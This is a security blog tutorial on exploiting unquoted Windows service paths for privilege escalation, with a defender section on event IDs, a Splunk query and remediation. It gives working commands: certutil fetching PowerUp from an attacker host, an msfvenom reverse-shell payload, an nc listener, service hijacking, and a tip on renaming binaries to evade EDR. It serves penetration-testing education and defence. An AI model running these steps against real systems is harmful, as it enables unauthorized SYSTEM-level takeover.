June 11, 2026
Windows PrivEsc: Unquoted Service Paths Explained
Part 2 of the Windows Privilege Escalation series
Christopher Arock
4 min read
You've RDP'd into a machine as a normal low-privilege user.
No SeImpersonatePrivilege. No weak passwords. Nothing obvious.
Then you check service paths and see this:
C:\Program Files\Vulnerable App\Service Folder\service.exeC:\Program Files\Vulnerable App\Service Folder\service.exeNo quotes around it. That's your way in.
What is an Unquoted Service Path?
When Windows starts a service, it reads the executable path from the registry and launches it.
If that path contains spaces and is not wrapped in quotes, Windows doesn't know where the path ends and the arguments begin — so it tries multiple interpretations in order until one works.
Example path:
C:\Program Files\Vulnerable App\Service Folder\service.exeC:\Program Files\Vulnerable App\Service Folder\service.exeWhat Windows actually tries:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\Service.exe
C:\Program Files\Vulnerable App\Service Folder\service.exeC:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\Service.exe
C:\Program Files\Vulnerable App\Service Folder\service.exeWindows tries each one from left to right. The first one that exists — it runs it.
If you can drop a malicious executable at any of those earlier locations, Windows will run your binary as the service — which often runs as SYSTEM.
Why Does Windows Do This?
This is how the Windows CreateProcess() API interprets unquoted strings with spaces — it's a parsing behaviour built into Windows itself, not a bug in the specific application.
The fix is simple — wrap the path in quotes:
"C:\Program Files\Vulnerable App\Service Folder\service.exe""C:\Program Files\Vulnerable App\Service Folder\service.exe"But developers and sysadmins have been forgetting to do this for decades.
The Attack Scenario
You've connected via RDP as a normal domain user corp\jsmith on a Windows Server 2019 machine.
C:\> whoami
corp\jsmith
C:\> whoami /priv
# Nothing interesting — standard user privilegesC:\> whoami
corp\jsmith
C:\> whoami /priv
# Nothing interesting — standard user privilegesNo obvious path to SYSTEM. Let's start enumerating.
Step 1 — Find Unquoted Service Paths
Method 1 — WMIC (Manual)
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """What this does:
- Lists all services set to auto-start
- Excludes built-in Windows services (usually safe)
- Excludes paths already wrapped in quotes (already safe)
Example output:
VulnService Vulnerable Service C:\Program Files\Vulnerable App\Service Folder\service.exe AutoVulnService Vulnerable Service C:\Program Files\Vulnerable App\Service Folder\service.exe AutoNo quotes around the path — vulnerable.
Method 2 — PowerUp.ps1 (Automated)
PowerUp is part of PowerSploit and automates the entire check for you.
Transfer PowerUp to the target:
# On your attack machine
python3 -m http.server 8080
# On the target
certutil -urlcache -f http://<YOUR_IP>:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1# On your attack machine
python3 -m http.server 8080
# On the target
certutil -urlcache -f http://<YOUR_IP>:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1Run it:
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllCheckspowershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecksExample output:
[*] Checking for unquoted service paths...
ServiceName : VulnService
Path : C:\Program Files\Vulnerable App\Service Folder\service.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'VulnService' -Path <HijackPath>[*] Checking for unquoted service paths...
ServiceName : VulnService
Path : C:\Program Files\Vulnerable App\Service Folder\service.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'VulnService' -Path <HijackPath>PowerUp even tells you exactly where to drop your binary and gives you the command to exploit it directly.
Step 2 — Check Write Permissions
Finding the unquoted path is only half the job. You need write access to one of the directories Windows will check first.
# Check permissions on each folder in the path
icacls "C:\Program Files\Vulnerable App"# Check permissions on each folder in the path
icacls "C:\Program Files\Vulnerable App"What you're looking for:
C:\Program Files\Vulnerable App BUILTIN\Users:(W)C:\Program Files\Vulnerable App BUILTIN\Users:(W)(W) means write access — you can drop files here as a normal user.
With PowerUp — it checks this automatically:
Get-ServiceUnquoted | Select-Object ServiceName, Path, ModifiablePathGet-ServiceUnquoted | Select-Object ServiceName, Path, ModifiablePathStep 3 — Generate Your Malicious Binary
# Generate a reverse shell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o Service.exe# Generate a reverse shell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o Service.exeThe filename matters — it must match what Windows will try to execute.
From our example path:
C:\Program Files\Vulnerable App\Service Folder\service.exeC:\Program Files\Vulnerable App\Service Folder\service.exeWindows will try C:\Program Files\Vulnerable App\Service.exe — so name your binary Service.exe and drop it there.
Step 4 — Drop the Binary and Restart the Service
# Copy your binary to the vulnerable location
copy Service.exe "C:\Program Files\Vulnerable App\Service.exe"
# Set up your listener on attack machine
nc -lvnp 4444
# Restart the service to trigger execution
sc stop VulnService
sc start VulnService# Copy your binary to the vulnerable location
copy Service.exe "C:\Program Files\Vulnerable App\Service.exe"
# Set up your listener on attack machine
nc -lvnp 4444
# Restart the service to trigger execution
sc stop VulnService
sc start VulnServiceThe service restarts, Windows finds your Service.exe first, executes it as SYSTEM, and you catch the shell.
connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 49832
Microsoft Windows [Version 10.0.17763.2628]
C:\Windows\system32> whoami
nt authority\systemconnect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 49832
Microsoft Windows [Version 10.0.17763.2628]
C:\Windows\system32> whoami
nt authority\systemUsing PowerUp to Exploit Directly
PowerUp can also do the exploitation for you — it writes a service binary that adds a local admin user:
Write-ServiceBinary -ServiceName 'VulnService' -Path "C:\Program Files\Vulnerable App\Service.exe"
Restart-Service VulnService
# New local admin user created
net localgroup administratorsWrite-ServiceBinary -ServiceName 'VulnService' -Path "C:\Program Files\Vulnerable App\Service.exe"
Restart-Service VulnService
# New local admin user created
net localgroup administratorsUseful when you just need admin access quickly without setting up a listener.
Blue Team Perspective — How Defenders Catch This
Windows Event IDs to watch:
Event ID What it means
─────────────────────────────────────────────────────────────────
4697 A service was installed — new service binary registered
4688 New process created — unexpected binary launched as SYSTEM
7045 New service installed in the system
7036 Service started/stopped — unusual timing or frequency
─────────────────────────────────────────────────────────────────Event ID What it means
─────────────────────────────────────────────────────────────────
4697 A service was installed — new service binary registered
4688 New process created — unexpected binary launched as SYSTEM
7045 New service installed in the system
7036 Service started/stopped — unusual timing or frequency
─────────────────────────────────────────────────────────────────Suspicious patterns a SOC analyst would flag:
- A binary executing from
C:\Program Files\directly (not a subfolder) as SYSTEM certutil.exedownloading files toC:\Windows\Temp\- PowerShell with
-ep bypassflag from a standard user session - A service stopping and starting within seconds — manual restart pattern
SIEM query example (Splunk):
index=windows EventCode=4688
NewProcessName="C:\\Program Files\\*.exe"
User="NT AUTHORITY\\SYSTEM"
| table _time, ComputerName, NewProcessName, ParentProcessNameindex=windows EventCode=4688
NewProcessName="C:\\Program Files\\*.exe"
User="NT AUTHORITY\\SYSTEM"
| table _time, ComputerName, NewProcessName, ParentProcessNameThis catches executables running as SYSTEM directly from Program Files — a strong indicator of unquoted service path abuse.
Remediation
For defenders and your pentest reports:
- Always quote service paths — wrap every service executable path in double quotes in the registry
- Audit regularly — run the WMIC command periodically to catch new vulnerable services
- Restrict write permissions — standard users should never have write access to Program Files subdirectories
- Use PowerUp in your audits — run it as part of internal security reviews
- EDR monitoring — alert on unexpected binaries executing as SYSTEM from user-writable directories
Quick audit command for sysadmins:
wmic service get name,pathname | findstr /i /v "c:\windows\\" | findstr /i /v """wmic service get name,pathname | findstr /i /v "c:\windows\\" | findstr /i /v """Run this and if anything comes back — fix it immediately.
Key Takeaways
- Unquoted paths with spaces let you hijack Windows service execution
- Windows tries multiple path interpretations — drop your binary at the right location
- Write permission to the directory is required — always check with
icacls - PowerUp automates both detection and exploitation
- Binary names are flagged by EDRs — rename them in real engagements
- The fix is one character — a quote. Yet it's everywhere in the wild.
Part 1 of this series: From Service Account to SYSTEM: Abusing SeImpersonatePrivilege
Written by Christopher Arock | linkedin.com/in/christopher-arock_| github.com/arock404_
This article is for educational purposes only. Only test on systems you own or have explicit written permission to test.